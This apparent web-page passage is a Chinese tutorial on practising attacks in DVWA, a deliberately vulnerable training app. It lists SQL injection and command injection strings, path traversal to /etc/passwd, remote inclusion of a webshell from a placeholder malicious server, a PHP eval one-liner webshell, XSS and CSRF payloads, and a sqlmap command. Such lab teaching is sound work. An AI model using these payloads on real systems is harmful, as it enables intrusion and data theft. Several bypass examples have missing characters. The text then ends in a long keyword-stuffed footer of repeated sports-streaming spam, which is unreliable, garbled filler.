本文目录导读:

DVWA(Damn Vulnerable Web Application)是一个合法、开源的渗透测试/网络安全教学平台,它专门设计用来让安全学习者在受控的本地环境中练习常见的Web漏洞。
以下是DVWA的系统化练习指南,从环境搭建到具体漏洞利用步骤。
第一步:环境搭建(最重要的一步)
绝对不要在公网或公司内网部署DVWA。 它充满漏洞,极易被入侵,只在本地虚拟机中练习。
推荐方式:使用虚拟机
-
方案 A:直接下载虚拟机镜像(最简单)
- 下载预先配置好的环境,如 OWASP Broken Web Applications VM 或 PentesterLab,这些自带DVWA。
- 用 VMware/VirtualBox 导入即可。
-
方案 B:手动搭建(推荐,更锻炼环境配置能力)
- 系统: 虚拟机里装一个 Linux(如 Ubuntu Server 或 Kali Linux)。
- 环境: 安装 LAMP 或 WAMP 环境(Linux + Apache + MySQL + PHP)。
- 下载DVWA: 从 GitHub 下载最新版:
git clone https://github.com/digininja/DVWA.git - 配置:
- 复制
config/config.inc.php.dist为config/config.inc.php。 - 修改数据库密码(默认 root 无密码,建议设置一个)。
- 复制
- 启动: 访问
http://你的虚拟机IP/DVWA/setup.php,点击 Create/Reset Database。
第二步:了解难度分级(核心功能)
DVWA 的左侧菜单有 Security Level 选项,这是练习的精髓:
- Low(低): 完全无防护,代码没有任何过滤。适合入门,先理解漏洞原理。
- Medium(中): 有基本过滤(如
mysqli_real_escape_string或简单的黑名单)。适合进阶,学习如何绕过简单防护。 - High(高): 复杂逻辑过滤(如使用
TOKEN、Prepared Statements或强正则)。适合高手,学习高级绕过技术。 - Impossible(不可能): 代码逻辑完全正确,几乎无法攻破。学习目标是: 看代码,理解“如何编写安全代码”。
练习策略: 对于每个漏洞,先做 Low 理解原理,再做 Medium/High 寻找绕过方法。
第三步:按模块逐个击破(核心漏洞列表)
DVWA 左侧菜单列出了所有漏洞,按照以下顺序练习效果较好:
SQL Injection(SQL注入)
- Low: 在用户输入框直接输入
' OR 1=1 --或' UNION SELECT ...。 - Medium: 学习绕过
mysqli_real_escape_string(例如使用双引号或无引号的数字型注入)。 - High: 挑战利用
LIMIT子句或查询结果的多行合并。
Command Injection(命令注入)
- Low: 输入
0.0.1 && whoami或0.0.1 | ls。 - Medium: 尝试绕过字符限制(如 、
&、 被过滤后,使用%0a换行符或 的变种)。
File Inclusion(文件包含)
- Low: 修改
?page=../../../../etc/passwd读取系统文件,或包含远程文件?page=http://恶意服务器/webshell.txt。 - Medium/High: 学习绕过路径限制(如 被过滤时用 或 )。
File Upload(文件上传)
- Low: 直接上传 PHP 一句话木马
<?php @eval($_POST['cmd']);?>。 - Medium: 绕过 MIME 类型检测(用 Burp Suite 抓包,修改
Content-Type: image/jpeg)。 - High: 挑战绕过文件头检测(在图片文件中嵌入PHP代码)。
XSS(跨站脚本)- Reflected(反射型) & Stored(存储型)
- Low: 输入
<script>alert(1)</script>。 - Medium: 在 HTML 标签属性中注入(如
" onclick="alert(1))或使用<img src=1 onerror=alert(1)>绕过<script>过滤。 - High: 学习 DOM-Based XSS 或利用浏览器的解析差异。
CSRF(跨站请求伪造)
- Low: 本地构造一个 HTML 页面,包含一个指向 DVWA 修改密码的请求(
<img src="http://DVWA_ip/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change">)。 - Medium/High: 需要结合 XSS 或抓取有效的 Token。
Brute Force(暴力破解)
- Low: 用 Burp Suite 或 Hydra 抓包,对登录框进行字典攻击。
- Medium/High: 应对反暴力破解机制(如 Token 动态变化、CAPTCHA验证码)。
第四步:必备工具与技巧
单纯在浏览器里点来点去效率很低,一定要配合以下工具:
-
Burp Suite(核心工具):
- Proxy: 抓包、改包(修改参数、Cookie、Token)。
- Repeater: 反复发送修改后的请求。
- Intruder: 暴力破解、模糊测试。
-
浏览器开发者工具(F12):
- Network: 查看请求与响应。
- Console: 调试 JavaScript(针对 XSS 或 CSRF 的 Token 提取)。
- Sources: 调试前端代码。
-
SQLMap(辅助工具):
- 当你在 Low 等级下能手工注入后,可以用 SQLMap 来自动化:
sqlmap -u "http://DVWA_IP/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=你的ID" --batch --dbs
- 当你在 Low 等级下能手工注入后,可以用 SQLMap 来自动化:
第五步:解读源代码(终极学习法)
DVWA 最棒的功能是右上角的 View Source 按钮。练习完后一定要看!
- 看 Low 的源码:理解“为什么这代码不安全”。
- 看 Medium 的源码:理解“防御者做了什么,但哪里没做好”。
- 看 High 的源码:理解“更聪明的防御逻辑”。
- 看 Impossible 的源码:这是真正的学习目标——学会如何用参数化查询、CSRF Token、白名单验证等方法来防御。
一个完整的练习流程
假设你在练习 SQL Injection (Low):
- 打开页面,输入
1,看到返回用户 ID。 - 思考:可能是
SELECT * FROM users WHERE id='1'; - 测试:输入
1',报错,确认有注入点。 - 攻击:输入
1' OR '1'='1' --,显示所有用户。 - 升级:输入
1' UNION SELECT 1, user(), database() --,获取数据库用户名和库名。 - 查看源码:发现代码直接拼接字符串,没有任何过滤。
- 切换难度到 Medium,重复上述步骤,发现 被转义了,尝试用
1 OR 1=1#。 - 最终:通过绕过所有难度等级,并理解了 Impossible 级别的正确代码写法。
通过上述步骤,坚持练习完所有模块(Low -> Medium -> High),你的Web安全实战能力会有显著提升。
版权声明:NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
足球直播
足球直播
足球直播
篮球直播
篮球直播
篮球直播
NBA直播
NBA直播
NBA直播
CBA直播
CBA直播
CBA直播
亚冠直播
亚冠直播
亚冠直播
欧冠直播
欧冠直播
欧冠直播
英超直播
英超直播
英超直播
西甲直播
西甲直播
西甲直播
中超直播
中超直播
中超直播
足球直播
足球直播
足球直播
篮球直播
篮球直播
篮球直播
NBA直播
NBA直播
NBA直播
CBA直播
CBA直播
CBA直播
亚冠直播
亚冠直播
亚冠直播
欧冠直播
欧冠直播
欧冠直播
英超直播
英超直播
英超直播
西甲直播
西甲直播
西甲直播
中超直播
中超直播
中超直播
足球直播
足球直播
足球直播
篮球直播
篮球直播
篮球直播
NBA直播
NBA直播
NBA直播
CBA直播
CBA直播
CBA直播
亚冠直播
亚冠直播
亚冠直播
欧冠直播
欧冠直播
欧冠直播
英超直播
英超直播
英超直播
西甲直播
西甲直播
西甲直播
中超直播
中超直播
中超直播
足球直播
足球直播
足球直播
篮球直播
篮球直播
篮球直播
NBA直播
NBA直播
NBA直播
CBA直播
CBA直播
CBA直播
亚冠直播
亚冠直播
亚冠直播
欧冠直播
欧冠直播
欧冠直播
英超直播
英超直播
英超直播
西甲直播
西甲直播
西甲直播
中超直播
中超直播
中超直播
曼联直播
曼联直播
曼联直播
日职联直播
日职联直播
日职联直播
澳超直播
澳超直播
澳超直播
阿森纳直播
阿森纳直播
阿森纳直播
足球直播
足球直播
足球直播
NBA直播
NBA直播
NBA直播
曼联直播
曼联直播
曼联直播
日职联直播
日职联直播
日职联直播
澳超直播
澳超直播
澳超直播
阿森纳直播
阿森纳直播
阿森纳直播
足球直播
足球直播
足球直播
NBA直播
NBA直播
NBA直播
曼联直播
曼联直播
曼联直播
日职联直播
日职联直播
日职联直播
澳超直播
澳超直播
澳超直播
阿森纳直播
阿森纳直播
阿森纳直播
足球直播
足球直播
足球直播
NBA直播
NBA直播
NBA直播
曼联直播
曼联直播
曼联直播
日职联直播
日职联直播
日职联直播
澳超直播
澳超直播
澳超直播
阿森纳直播
阿森纳直播
阿森纳直播
足球直播
足球直播
足球直播
NBA直播
NBA直播
NBA直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
足球直播
足球直播
足球直播
足球直播
足球直播
英超直播
英超直播
英超直播
英超直播
英超直播
篮球直播
篮球直播
篮球直播
篮球直播
篮球直播
CBA直播
CBA直播
CBA直播
CBA直播
CBA直播
中超直播
中超直播
中超直播
中超直播
中超直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
足球直播
足球直播
足球直播
足球直播
足球直播
英超直播
英超直播
英超直播
英超直播
英超直播
篮球直播
篮球直播
篮球直播
篮球直播
篮球直播
CBA直播
CBA直播
CBA直播
CBA直播
CBA直播
中超直播
中超直播
中超直播
中超直播
中超直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播